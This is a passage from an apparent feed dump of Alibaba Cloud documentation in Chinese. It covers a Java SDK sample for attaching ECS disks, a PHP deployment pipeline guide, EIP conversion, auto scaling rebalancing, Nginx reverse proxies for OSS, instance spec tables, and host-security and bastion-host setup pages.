      import com.aliyuncs.ecs.model.v20140526.AttachDiskResponse;
      import com.aliyuncs.ecs.model.v20140526.DescribeDisksRequest;
      import com.aliyuncs.ecs.model.v20140526.DescribeDisksResponse;
      import com.aliyuncs.exceptions.ClientException;
      import com.aliyuncs.exceptions.ServerException;
      import com.aliyuncs.profile.DefaultProfile;
      import com.google.gson.Gson;
      import java.util.List;
      
      /**
       * DescribeDisks    查询一块或多块您已经创建的云盘以及本地盘。
       * AttachDisk    为一台ECS实例挂载一块按量付费数据盘。
       */
      public class TestAttachDisk {
      
          // (ECS实例ID)
          private static String instanceId = "i-bp1332junn5uiq******";
      
          public static void main(String[] args) {
              IAcsClient client = Initialization();
              List<DescribeDisksResponse.Disk> disks = DescribeDisks(client);
              // 本示例只做简单处理来获取云盘ID,请您按照实际情况来修改此处代码
              try {
                  // 获取云盘或本地盘ID。
                  String diskId = disks.get(0).getDiskId();
                  AttachDisk(client, instanceId, diskId);
              } catch (IndexOutOfBoundsException e) {
                  System.out.println("--------------------没有获取到可用云盘--------------------");
                  System.out.println(e);
              }
          }
      
          /**
           * AttachDisk    为一台ECS实例挂载一块按量付费数据盘。
           */
          private static void AttachDisk(IAcsClient client, String instanceId, String diskId) {
              AttachDiskRequest request = new AttachDiskRequest();
              // 待挂载的ECS实例ID。
              request.setInstanceId(instanceId);
              // 待挂载的云盘ID。云盘(DiskId)和实例(InstanceId)必须在同一个可用区。
              request.setDiskId(diskId);
              // 释放实例时,该云盘是否随实例一起释放。
              // 默认值:False。
              request.setDeleteWithInstance(false);
              try {
                  AttachDiskResponse response = client.getAcsResponse(request);
                  System.out.println("--------------------云盘挂载成功--------------------");
                  System.out.println(new Gson().toJson(response));
              } catch (ServerException e) {
                  e.printStackTrace();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
              }
          }
      
          /**
           * DescribeDisks    查询一块或多块您已经创建的云盘以及本地盘。
           */
          private static List<DescribeDisksResponse.Disk> DescribeDisks(IAcsClient client) {
              DescribeDisksRequest request = new DescribeDisksRequest();
              // 云盘种类。取值范围:
              // all:所有云盘以及本地盘
              // cloud:普通云盘
              // cloud_efficiency:高效云盘
              // cloud_ssd:SSD盘
              // cloud_essd:ESSD云盘
              // local_ssd_pro:I/O密集型本地盘
              // local_hdd_pro:吞吐密集型本地盘
              // ephemeral:(已停售)本地盘
              // ephemeral_ssd:(已停售)本地SSD盘
              // 默认值:all
              request.setCategory("cloud_ssd");
              // 云盘或本地盘的计费方式。取值范围:
              // PrePaid:包年包月
              // PostPaid:按量付费
              request.setDiskChargeType("PrePaid");
              request.setStatus("Available");
              try {
                  DescribeDisksResponse response = client.getAcsResponse(request);
                  System.out.println("--------------------可用云盘的详细信息--------------------");
                  System.out.println(new Gson().toJson(response));
                  return response.getDisks();
              } catch (ServerException e) {
                  e.printStackTrace();
              } catch (ClientException e) {
                  System.out.println("ErrCode:" + e.getErrCode());
                  System.out.println("ErrMsg:" + e.getErrMsg());
                  System.out.println("RequestId:" + e.getRequestId());
              }
              return null;
          }
      
          /**
           * Initialization  初始化请求参数
           */
          private static IAcsClient Initialization() {
              // 初始化请求参数
              DefaultProfile profile = DefaultProfile.getProfile(
                      "<your-region-id>", // 您的可用区ID
                      "<your-access-key-id>", // 您的AccessKey ID
                      "<your-access-key-secret>"); // 您的AccessKey Secret
              return new DefaultAcsClient(profile);
          }
      }

      执行结果

      正确的返回结果类似如下:

      --------------------可用云盘的详细信息--------------------
      {
          "requestId": "61C43B32-A5D9-4608-956E-430E8F202A3B", 
          "totalCount": 1, 
          "pageNumber": 1, 
          "pageSize": 10, 
          "disks": [
              { ... }
          ]
      }
      --------------------云盘挂载成功--------------------
      {
      "RequestId":"473469C7-AA6F-4DC5-B3DB-A3DC0DE3C83E"
      }

      ]]> PHP应用部署到ECS_Php入门_快速入门_云效-阿里云 Fri, 02 May 2025 09:39:04 +0800 PHP应用部署到ECS

      更新时间:2019-08-21 14:12:59

      本页目录

      本文档会帮助您在云效创建一个 PHP Laravel 的代码库,并部署到阿里云 ECS 服务器。

      创建企业

      首次进入云效会提示您创建企业。java-ecs1

      创建流水线

      1. 进入企业后,从页面顶栏点击【研发】->【流水线】,进入流水线列表。java-ecs2

      2. 点击右上角【新建流水线】,进入流水线创建向导页面。java-ecs3

      选择流水线模板

      1. 选择编程语言 【PHP】 和模板 【PHP测试、构建、部署到ECS】。java-ecs5

      2. 点击 【下一步】,进入代码源配置。java-ecs6

      新建代码库

      1. 点击 【新建代码库】,出现新建代码库对话框。java-ecs7

      2. 在下拉列表选择具体新建仓库的所属分组 和 仓库名称,配置可见等级等。java-ecs8

      3. 如果代码仓库配置提示 【没有组】,可以点击下方提示 【创建组】,直接创建新代码分组仓库。java-ecs9

      4. 点击【下一步】,进入代码模板选择,可以使用云效Laravel代码模板,直接在阿里云Code创建新代码仓库(目前暂时只支持阿里云Code)。java-ecs10

      5. 点击 【确认】 开始自动创建代码仓库。java-ecs11

      6. 大约15秒,完成后自动关闭新建代码库对话框,代码源信息自动填入到表单里。java-ecs12

      填写基本信息

      1. 在配置好代码源之后,点击下一步填写基本信息。java-ecs14

      2. 点击创建,这个时候已经完成了创建,但是在第一次创建的时候可能会遇到部分流水线组件配置未完成(下图红色提示)。java-ecs15

      3. 点击未完成的红色卡片,在右侧拉出的菜单里完成信息录入。java-ecs16

      编辑流水线

      1. 在主机部署的组件里配置环境信息。java-ecs17

      2. 点击 【新建环境】,出现新建环境对话框。java-ecs18

      3. 点击新建环境对话框里 【机器配置】,进入机器配置表单,点击【导入ECS】,跳转到导入 ECS 界面。java-ecs19

      导入 ECS 机器

      1. 申请准备好阿里云ECS,具体方式参见 ECS 文档,请确保该ECS环境上预装了 PHP 环境并有公网IP,或者有 SLB 与之关联,以便进行功能验证。
      2. 在机器管理页面,点击【导入 ECS】。

        python-ecs-15

      3. 在弹出框中选择新建 ECS 所在区域,选择实例,点击【导入】。

        python-ecs-17

      4. 等待大概1分钟左右,刷新页面,可以看到机器状态为【正常】。

        python-ecs-18

      5. 机器导入后回到【机器配置】页面,点击【刷新】按钮,可以看到刚才导入的机器。

        python-ecs-19

      6. 可以把 已有导入到企业的机器 从左侧表格移动到右侧表格,关联到当前环境。java-ecs20

      7. 点击 【确认】,返回流水线编辑页面。java-ecs21

      运行流水线

      1. 点击 【运行】, 开始运行流水线,至此就完成了PHP应用部署到ECS流水线的创建。java-ecs22

      2. 当流水线运行完成后,一个PHP应用就部署到了ECS上。java-ecs23

      查看部署结果

      1. 点击 打开发布单,可以看到部署详情。java-ecs24

      2. 通过浏览器访问 Laravel,完成。java-ecs25

      ]]> ECS经典网络与专有网络VPC特点介绍_功能介绍_视频专区_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS经典网络与专有网络VPC特点介绍

      更新时间:2020-04-01 14:39:19

      本页目录

      本视频描述了云服务器ECS两种不同网络类型的特点。

      云服务器ECS的网络类型包括经典网络和专有网络VPC。

      • 经典网络采用三层隔离,所有经典网络类型实例都建立在一个共用的基础网络上。
      • 专有网络VPC采用二层隔离,相对经典网络而言,VPC具有更高的安全性和灵活性。
      然而,安全是一个系统的工程,无论实例采用了哪一种网络类型,您都需要通过安全组管理云服务器ECS的访问权限。

      ]]> 经典网络类型ECS公网IP转为弹性公网IP_申请EIP_用户指南_弹性公网 IP-阿里云 Fri, 02 May 2025 09:39:04 +0800 经典网络类型ECS公网IP转为弹性公网IP

      更新时间:2020-03-10 11:29:30

      本页目录

      手动释放经典网络类型ECS实例时,您可以将公网IP转换为弹性公网IP(Elastic IP,简称EIP)。EIP可绑定到专有网络VPC类型的ECS实例上,适用于网络迁移、弹性绑定、灵活升降带宽等场景。只有在手动释放实例时,才能转换经典网络公网IP为EIP,自动释放实例时,不支持转换。

      前提条件

      经典网络公网IP转换为EIP前,请确保ECS实例满足以下要求:

      • 已分配了公网IP地址。
      • 所在可用区不能是中国杭州可用区C(cn-hangzhou-c)。
      • 计费方式为按量付费时,实例必须处于已停止状态,且账号不能处于欠费状态。
      • 计费方式为包年包月时,实例必须处于已过期过期回收中状态。
      • 计费方式为包年包月时,公网带宽计费方式必须是按使用流量计费。按固定带宽计费的公网带宽可以先通过升降配变更计费方式,详情请参见升降配方式汇总
      • 预约过网络迁移时,不支持转换公网IP。详情请参见经典网络迁移至专有网络
      • 操作过实例规格变更时,请等待变更生效后再转换公网IP地址。
      • 已创建快照以备份数据,防止操作失误导致数据丢失。详情请参见创建快照

      背景信息

      经典网络公网IP转换为EIP后:

      • 采用按使用流量计费方式。
      • 公网带宽值和原ECS实例保持一致,您可以按需在专有网络管理控制台上升配EIP的公网带宽。但是,如果转换前经典网络类型ECS实例带宽为0Mbit/s,转换后的EIP带宽自动升级为1Mbit/s。
      • 不能挂载到经典网络类型ECS实例上。
      • 不同于专有网络VPC类型ECS实例,经典网络类型ECS实例具有公网网卡。如果您将经典网络公网IP转换为EIP,则无法保留该公网网卡和相应的Mac地址。

      操作步骤

      1. 登录ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 实例
      3. 在顶部状态栏左上角处,选择地域。
      4. 找到目标经典网络类型ECS实例,根据实例计费方式选择释放操作。
        • 释放一台包年包月实例:在操作列中,单击释放
        • 释放一台按量付费实例:在操作列中,单击更多 > 实例状态 > 释放设置
      5. 选择立即释放,并勾选保留经典网络公网IP并将其转换为弹性公网IP(未绑定实例的弹性公网IP会产生配置费用),然后单击下一步

        保留经典网络公网IP并将其转换为弹性公网IP(未绑定实例的弹性公网IP会产生配置费用)

      6. 单击确定

      执行结果

      经典网络公网IP转换为EIP后,ECS实例会被释放,您可以在专有网络管理控制台查看新增的EIP。查看新增的EIP地址

      后续步骤

      经典网络公网IP转换为EIP后,您可以绑定EIP到ECS实例。详情请参见绑定ECS实例

      ]]> ECS实例再均衡分布_ECS实例_实例管理_弹性伸缩-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例再均衡分布

      更新时间:2019-12-13 09:25:11

      本页目录

      如果由于库存不足等原因导致可用区之间ECS实例的数量不均衡,您可以执行再均衡分布操作来平衡ECS实例的分布情况。

      前提条件

      • 伸缩组的网络类型为专有网络
      • 伸缩组的多可用区扩缩容策略设置为均衡分布策略
      • 伸缩组关联了多个虚拟交换机,且分布在至少两个可用区中。

      背景信息

      一次再平衡活动最多替换20台ECS实例。执行再平衡活动时,弹性伸缩会先新建ECS实例,然后终止并释放已有ECS实例,达到在可用区间平衡分布ECS实例的效果,不会影响应用程序的性能或可用性。

      再平衡活动期间,如果伸缩组内ECS实例数量接近或达到伸缩最大实例数,但需要继续平衡ECS实例分布,弹性伸缩允许ECS实例数量暂时超出伸缩最大实例数的10%。如果伸缩最大实例数的10%不是整数,则小数部分取整允许超出1台。该超出状态会持续一段时间,直至完成平衡ECS实例分布,通常为1至6分钟。

      例如,伸缩组最大实例数为15,取10%为1.5台,则暂时允许超出2台。

      操作步骤

      1. 登录弹性伸缩控制台
      2. 在顶部状态栏处,选择地域。
      3. 找到待操作的伸缩组,选择一种方式打开伸缩组详情页面。
        • 伸缩组名称/ID列中,单击伸缩组名称。
        • 操作列中,单击管理
      4. 单击ECS实例列表
      5. 在页面右上角,单击再均衡分布
      6. 阅读确认事项,然后单击确认执行

      执行结果

      页面右上角提示再均衡分布实例任务下发成功,且实例列表中可以看到新创建的实例。一段时间后新创建的实例进入服务中状态,部分已有ECS实例被释放,伸缩组内ECS实例的总数不变。

      ]]> 基于CentOS的ECS实例实现OSS反向代理_使用ECS实例反向代理OSS_最佳实践_对象存储 OSS-阿里云 Fri, 02 May 2025 09:39:04 +0800 基于CentOS的ECS实例实现OSS反向代理

      更新时间:2020-04-10 11:04:42

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      阿里云OSS的存储空间(Bucket)访问地址会随机变换,您可以通过在ECS实例上配置OSS的反向代理,实现通过固定IP地址访问OSS的存储空间。

      背景信息

      阿里云OSS通过Restful API方式对外提供服务。最终用户通过OSS默认域名或者绑定的自定义域名方式访问,但是在某些场景下,用户需要通过固定的IP地址访问OSS:

      • 某些企业由于安全机制,需要在出口防火墙配置策略,以限制内部员工和业务系统只能访问指定的公网IP,但是OSS的Bucket访问IP会随机变换,导致需要经常修改防火墙策略。
      • 金融云环境下,因金融云网络架构限制,金融云内网类型的Bucket只能在金融云内部访问,不支持在互联网上直接访问金融云内网类型Bucket。

      以上问题可以通过在ECS实例上搭建反向代理的方式访问OSS。

      配置步骤

      1. 创建一个和对应Bucket相同地域的CentOS系统的ECS实例。

        本文演示系统为CentOS 7.6 64位系统。创建过程请参见创建ECS实例

      2. 使用root用户登录ECS实例并安装Nginx。

        root@test:~# yum install -y nginx

        说明 Nginx默认安装位置:

         /usr/sbin/nginx       主程序 
         /etc/nginx            存放配置文件 
         /usr/share/nginx      存放静态文件 
         /var/log/nginx        存放日志

      3. 打开Nginx配置文件。

        root@test:~# vi /etc/nginx/nginx.conf

      4. 在config文件中的http模块中,修改配置如下。

        server {
        listen 80 default_server;
        listen [::]:80 default_server;
        server_name 47.**.**.43; 
        root /usr/share/nginx/html;
        
        
        # Load configuration files for the default server block.
        include /etc/nginx/default.d/*.conf;
        
        
        location / {
        proxy_pass https://bucketname.oss-cn-beijing-internal.aliyuncs.com; 
        proxy_set_header Host $host; 
        }
        • server_name:对外提供反向代理服务的IP,即ECS实例的外网地址。
        • proxy_pass:填写跳转的域名。
          • 当ECS实例与Bucket在同一地域时,填写目标Bucket的内网访问域名。访问域名介绍请参见OSS访问域名使用规则
          • 当ECS实例与Bucket不在同一地域时,填写目标Bucket的外网访问域名。
          • 因OSS的安全设置,当使用默认域名通过浏览器访问OSS中的图片或网页文件时,会直接下载。所以,若您的用户需通过浏览器预览Bucket中的图片或网页文件,需为Bucket绑定自定义域名,并在此项中添加已绑定的域名。绑定自定义域名操作请参见绑定自定义域名
        • proxy_set_header Host $host:添加此项时,Nginx会在向OSS请求的时候,将host替换为ECS的访问地址。遇到以下情况时,您需要添加此项。
          • 遇到签名错误问题。
          • 如果您的域名已解析到ECS实例的外网上,且您的用户需要通过浏览器预览Bucket中的图片或网页文件。您可以将您的域名绑定到ECS实例代理的Bucket上,不配置CNAME。这种情况下,proxy_pass项可直接配置Bucket的内网或外网访问地址。绑定自定义域名操作请参见绑定自定义域名

        说明 本文为演示环境,实际环境中,为了您的数据安全,建议配置https模块,配置方法请参见反向代理配置

      5. 进入Nginx主程序文件夹,启动Nginx。

        root@test:~# cd /usr/sbin/
        root@test:~# ./nginx

      6. 测试使用ECS外网地址加文件访问路径访问OSS资源。

      更多参考

      基于Ubuntu的ECS实例实现OSS反向代理

      ]]> 基于Ubuntu的ECS实例实现OSS反向代理_使用ECS实例反向代理OSS_最佳实践_对象存储 OSS-阿里云 Fri, 02 May 2025 09:39:04 +0800 基于Ubuntu的ECS实例实现OSS反向代理

      更新时间:2020-04-10 10:13:20

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      阿里云OSS的存储空间(Bucket)访问地址会随机变换,您可以通过在ECS实例上配置OSS的反向代理,实现通过固定IP地址访问OSS的存储空间。

      背景信息

      阿里云OSS通过Restful API方式对外提供服务。最终用户通过OSS默认域名或者绑定的自定义域名方式访问,但是在某些场景下,用户需要通过固定的IP地址访问OSS:

      • 某些企业由于安全机制,需要在出口防火墙配置策略,以限制内部员工和业务系统只能访问指定的公网IP,但是OSS的Bucket访问IP会随机变换,导致需要经常修改防火墙策略。
      • 金融云环境下,因金融云网络架构限制,金融云内网类型的Bucket只能在金融云内部访问,不支持在互联网上直接访问金融云内网类型Bucket。

      以上问题可以通过在ECS实例上搭建反向代理的方式访问OSS。

      配置步骤

      1. 创建一个和对应Bucket相同地域的Ubuntu系统的ECS实例。

        本文演示系统为Ubuntu 18.04 64位系统,创建过程请参见创建ECS实例

      2. 使用root用户登录ECS实例,并更新apt源。

        root@test:~# apt-get update

      3. 安装Nginx。

        root@test:~# apt-get install nginx

        说明 Nginx默认安装位置:

         /usr/sbin/nginx       主程序 
         /etc/nginx            存放配置文件 
         /usr/share/nginx      存放静态文件 
         /var/log/nginx        存放日志

      4. 打开Nginx配置文件。

        root@test:~# vi /etc/nginx/nginx.conf

      5. 在config文件中的http模块添加如下内容。

        server {
                listen 80;
                server_name 47.**.**.73; 
        
                location / {
                    proxy_pass http://bucketname.oss-cn-beijing-internal.aliyuncs.com; 
                    proxy_set_header Host $host; 
             }  
        }
        • server_name:对外提供反向代理服务的IP,即ECS实例的外网地址。
        • proxy_pass:填写跳转的域名。
          • 当ECS实例与Bucket在同一地域时,填写目标Bucket的内网访问域名。访问域名介绍请参见OSS访问域名使用规则
          • 当ECS实例与Bucket不在同一地域时,填写目标Bucket的外网访问域名。
          • 因OSS的安全设置,当使用默认域名通过浏览器访问OSS中的图片或网页文件时,会直接下载。所以,若您的用户需通过浏览器预览Bucket中的图片或网页文件,需为Bucket绑定自定义域名,并在此项中添加已绑定的域名。绑定自定义域名操作请参见绑定自定义域名
        • proxy_set_header Host $host:添加此项时,Nginx会在向OSS请求的时候,将host替换为ECS的访问地址。遇到以下情况时,您需要添加此项。
          • 遇到签名错误问题。
          • 如果您的域名已解析到ECS实例的外网上,且您的用户需要通过浏览器预览Bucket中的图片或网页文件。您可以将您的域名绑定到ECS实例代理的Bucket上,不配置CNAME。这种情况下,proxy_pass项可直接配置Bucket的内网或外网访问地址。绑定自定义域名操作请参见绑定自定义域名

        注意

        • 本文为演示环境,实际环境中,为了您的数据安全,建议配置https模块,配置方法请参见反向代理配置
        • 此种配置方式只能代理一个Bucket的访问。

      6. 进入Nginx主程序文件夹,启动Nginx。

        root@test:~# cd /usr/sbin/
        root@test:~# ./nginx

      7. 测试使用ECS外网地址加文件访问路径访问OSS资源。

      更多参考

      基于CentOS的ECS实例实现OSS反向代理

      ]]> 通用型_选择实例规格_实例_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 通用型

      更新时间:2020-05-14 14:46:48

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本章节介绍云服务器ECS通用型实例规格族的特点,并列出了具体的实例规格。

      通用型实例规格族g6

      g6的特点如下:

      • 依托神龙架构,将大量虚拟化功能卸载到专用硬件,降低虚拟化开销,提供稳定可预期的超高性能
      • I/O优化实例
      • 支持ESSD云盘、SSD云盘和高效云盘

        说明 不同实例规格族的云盘性能上限不同,单台g6实例最高支持20万IOPS。如果需要更高的存储I/O性能,建议您选用g5se,详细信息请参见存储增强型实例规格族g5se

      • 实例存储I/O性能与计算规格对应(规格越高存储I/O性能越强)

        说明 全新一代企业级实例规格族的存储I/O性能表请参见存储I/O性能

      • 处理器与内存配比为1:4
      • 支持开启或关闭超线程配置

        说明 ECS实例默认开启超线程配置,更多信息请参见自定义CPU选项

      • 超高网络PPS收发包能力

        说明 不同实例规格族的网络性能上限不同,如果需要更高的网络包转发能力,建议您选用g5ne,详细信息请参见网络增强型实例规格族g5ne

      • 处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8269CY(Cascade Lake),睿频3.2 GHz,计算性能稳定
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 支持变配为c6或r6
      • 适用场景:
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • 各种类型和规模的企业级应用
        • 网站和应用服务器
        • 游戏服务器
        • 中小型数据库系统、缓存、搜索集群
        • 数据分析和计算
        • 计算集群、依赖内存的数据处理

      g6包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络基础带宽能力(出/入)(Gbit/s) 网络突发带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP 云盘IOPS(万) 云盘带宽(Gbit/s)
      ecs.g6.large 2 8.0 1.0 3.0 30 2 2 6 1.0 1
      ecs.g6.xlarge 4 16.0 1.5 5.0 50 4 3 10 2.0 1.5
      ecs.g6.2xlarge 8 32.0 2.5 8.0 80 8 4 10 2.5 2
      ecs.g6.3xlarge 12 48.0 4.0 10.0 90 8 6 10 3.0 2.5
      ecs.g6.4xlarge 16 64.0 5.0 10.0 100 8 8 20 4.0 3
      ecs.g6.6xlarge 24 96.0 7.5 10.0 150 12 8 20 5.0 4
      ecs.g6.8xlarge 32 128.0 10.0 200 16 8 20 6.0 5
      ecs.g6.13xlarge 52 192.0 12.5 300 32 7 20 10.0 8
      ecs.g6.26xlarge 104 384.0 25.0 600 32 15 20 20.0 16

      说明

      通用型实例规格族g5

      g5的特点如下:

      • I/O优化实例
      • 支持ESSD云盘、SSD云盘和高效云盘

        说明 不同实例规格族的云盘性能上限不同,单台g5实例最高支持20万IOPS。如果需要更高的存储I/O性能,建议您选用g5se,详细信息请参见存储增强型实例规格族g5se

      • 处理器与内存配比为1:4
      • 超高网络PPS收发包能力

        说明 不同实例规格族的网络性能上限不同,如果需要更高的网络包转发能力,建议您选用g5ne,详细信息请参见网络增强型实例规格族g5ne

      • 处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8163(Skylake)或者8269CY(Cascade Lake),计算性能稳定
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 适用场景:
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • 各种类型和规模的企业级应用
        • 中小型数据库系统、缓存、搜索集群
        • 数据分析和计算
        • 计算集群、依赖内存的数据处理

      g5包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.g5.large 2 8.0 1.0 30 2 2 6
      ecs.g5.xlarge 4 16.0 1.5 50 2 3 10
      ecs.g5.2xlarge 8 32.0 2.5 80 2 4 10
      ecs.g5.3xlarge 12 48.0 4.0 90 4 6 10
      ecs.g5.4xlarge 16 64.0 5.0 100 4 8 20
      ecs.g5.6xlarge 24 96.0 7.5 150 6 8 20
      ecs.g5.8xlarge 32 128.0 10.0 200 8 8 20
      ecs.g5.16xlarge 64 256.0 20.0 400 16 8 20

      说明

      网络增强型实例规格族g5ne

      g5ne正在邀测中,如需使用,请提交工单

      g5ne的特点如下:

      • 大幅提升单实例的网络吞吐能力和网络包转发能力,单实例最高支持1000万PPS转发能力
      • 处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8163(Skylake)或者8269CY(Cascade Lake),计算性能稳定
      • 处理器与内存配比为1:4
      • I/O优化实例
      • 支持SSD云盘和高效云盘
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 适用场景:
        • 网络密集型应用场景,例如NFV/SD-WAN、移动互联网、视频弹幕、电信业务转发等
        • 中小型数据库系统、缓存、搜索集群
        • 各种类型和规模的企业级应用
        • 大数据分析和机器学习

      g5ne包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP 云盘IOPS(万) 云盘带宽(Gbit/s)
      ecs.g5ne.2xlarge 8 32.0 3.5 150 8 4 10 3.0 1
      ecs.g5ne.4xlarge 16 64.0 7.0 300 16 6 20 6.0 2
      ecs.g5ne.8xlarge 32 128.0 15.0 600 16 6 20 12.0 4
      ecs.g5ne.16xlarge 64 256.0 30.0 1200 32 6 20 24.0 8
      ecs.g5ne.18xlarge 72 288.0 33.0 1350 32 8 20 27.0 9

      说明

      通用网络增强型实例规格族sn2ne

      sn2ne的特点如下:

      • I/O优化实例
      • 仅支持SSD云盘和高效云盘
      • 处理器与内存配比为1:4
      • 超高网络PPS收发包能力
      • 处理器:2.5 GHz主频的Intel ® Xeon ® E5-2682 v4(Broadwell)或Platinum 8163(Skylake),计算性能稳定
      • 实例网络性能与计算规格对应(规格越高网络性能越强)
      • 适用场景:
        • 高网络包收发场景,例如视频弹幕、电信业务转发等
        • 各种类型和规模的企业级应用
        • 中小型数据库系统、缓存、搜索集群
        • 数据分析和计算
        • 计算集群、依赖内存的数据处理

      sn2ne包括的实例规格及指标数据如下:
      实例规格 vCPU 内存(GiB) 本地存储(GiB) 网络带宽能力(出/入)(Gbit/s) 网络收发包能力(出+入)(万PPS) 支持IPv6 多队列 弹性网卡(包括一块主网卡) 单块弹性网卡的私有IP
      ecs.sn2ne.large 2 8.0 1.0 30 2 2 6
      ecs.sn2ne.xlarge 4 16.0 1.5 50 2 3 10
      ecs.sn2ne.2xlarge 8 32.0 2.0 100 4 4 10
      ecs.sn2ne.3xlarge 12 48.0 2.5 130 4 6 10
      ecs.sn2ne.4xlarge 16 64.0 3.0 160 4 8 20
      ecs.sn2ne.6xlarge 24 96.0 4.5 200 6 8 20
      ecs.sn2ne.8xlarge 32 128.0 6.0 250 8 8 20
      ecs.sn2ne.14xlarge 56 224.0 10.0 450 14 8 20

      说明

      相关链接

      ]]> 快速掌握 ECS 安全态势_最佳实践_安骑士-阿里云 Fri, 02 May 2025 09:39:04 +0800 快速掌握 ECS 安全态势

      更新时间:2019-04-15 15:04:11

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      安骑士是一款经受200万+主机稳定性考验的主机安全加固产品,拥有自动化实时入侵威胁检测、病毒查杀、漏洞智能修复、基线一键核查等功能,是构建主机安全防线的统一管理平台。

      安骑士企业版和基础版功能详情参见功能特性

      安骑士功能优势参见产品优势

      安骑士企业版提供病毒自动隔离服务,可对目前部分主流勒索病毒(如WannaCry和Globelmposter)、DDOS木马(如XorDDos和BillGates)进行主动防护和主动隔离。后续将陆续支持更多病毒类型,建议您启用该功能,加固主机安全防线。详见安骑士开启病毒查杀自动隔离

      您可以打开ECS控制台 概览页面,单击 安全概览模块下面的阿里云云盾图标 跳转到安骑士 总览页面,查看ECS的安全详情。

      跳转到安骑士控制台总览页后,您可在总览页面查看待处理的告警事件数量及其紧急程度、检测到的告警事件总数、已处理事件的数量等信息。

      详细信息参见控制台总览



      单击待处理告警事件可进入对应的功能进行快速处理:

      • 漏洞待处理
      • 基线配置不当
      • 异常登录
      • 网站后门
      • 主机异常

      详细信息参见安骑士用户指南

      查看ECS实例安全详情

      您可以打开ECS控制台实例页面,单击实例列表中的阿里云云盾图标跳转到安骑士控制台资产列表页面,查看单个ECS实例的安全详情。



      跳转到安骑士控制台后,在资产列表页面查看单个ECS实例的安全详情。



      ECS实例的安全详情包含:

      • 基本信息:

        包括ECS实例名称、ID、所在地区、公网/内网IP地址、主机操作系统、安骑士保护在线状态和分组信息等。

      • 漏洞信息:

        检测ECS实例的系统漏洞和Web-CMS漏洞。

      • 基线检查:

        检测ECS的系统、数据库、账号配置存在的风险点。

      • 异常登录:

        检测ECS上的登录行为,对于在非常用登录地的登录行为提供告警。

      • 网站后门:

        检测ECS上是否存在Webshell后门文件。

      • 主机异常:

        检测ECS上是否存在异常事件并对异常事件进行处理。

      • 主机指纹:

        检测ECS上包含监听端口号、网络协议、对应进程和绑定监听IP等信息。

      • 安全配置:

        对漏洞管理、基线检查和登录安全设置进行配置。

      详细信息参见安骑士用户指南

      ]]> 步骤1:同步阿里云ECS资产_V3.1版本_快速入门_堡垒机-阿里云 Fri, 02 May 2025 09:39:04 +0800 步骤1:同步阿里云ECS资产

      更新时间:2019-07-05 09:40:14

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      在使用堡垒机进行主机运维前,管理员需要在堡垒机实例中添加要管理的主机资产。本文将指导管理员在堡垒机实例中导入当前阿里云账号下的ECS资产。

      前提条件

      开通堡垒机实例的阿里云账号下开通有ECS实例。关于如何开通ECS实例,请参见创建ECS实例

      背景信息

      除了导入阿里云ECS作为堡垒机资产外,您还可以手动添加或批量导入非阿里云主机作为堡垒机资产。更多信息,请参见主机管理

      操作步骤

      1. 可选: 授权堡垒机读取ECS列表信息。

        首次登录堡垒机控制台时,您会收到提示,需要授权堡垒机读取ECS列表信息,以实现ECS快速接入。您可以参照以下步骤进行授权:

        1. 登录云盾堡垒机控制台
        2. 在页面上方提示中单击授权,完成授权。

          说明 已完成授权时,不会出现该提示。



      2. 登录云盾堡垒机实例
      3. 前往资产 > 主机管理 页面,并打开ECS同步页签。
      4. 单击页面右上角的同步阿里云ECS

      5. 导入云主机对话框中,勾选要导入的主机,并单击导入

        说明 如果ECS数据不是最新的,单击手工刷新进行重新检测。



        成功导入ECS主机。您需要进一步为已导入的主机添加主机帐户信息。

        如果提示操作失败,建议您前往RAM访问控制控制台的RAM角色管理页面,删除AliyunBastionHostDefaultRole角色,并参照步骤1重新完成授权。完成授权后,堡垒机默认使用上述角色访问其他云产品的资源。若该角色失效,则可能导致操作失败;通过重新授权,可以修复该问题。重新授权后,请重新执行步骤2~步骤5,同步阿里云ECS。


      6. 资产 > 主机管理页面,打开主机列表页签,并单击要操作的主机IP。

      7. 打开主机帐户页签,单击添加主机帐户

      8. 新建主机帐户对话框中,选择协议类型, 填写有效的主机帐户登录名密码(服务器上已经创建并存在的帐户和对应密码),并单击创建主机帐户

        成功创建主机帐户,完成阿里云ECS资产同步。

      下一步

      步骤2:导入阿里云子账号

      ]]> ECS安全组实践(一)_安全_最佳实践_云服务器 ECS-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS安全组实践(一)

      更新时间:2019-09-04 13:21:06

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文介绍配置安全组的入方向规则的最佳实践。您可以通过配置安全组规则,允许或禁止安全组内的ECS实例对公网或私网的访问。

      安全组实践建议

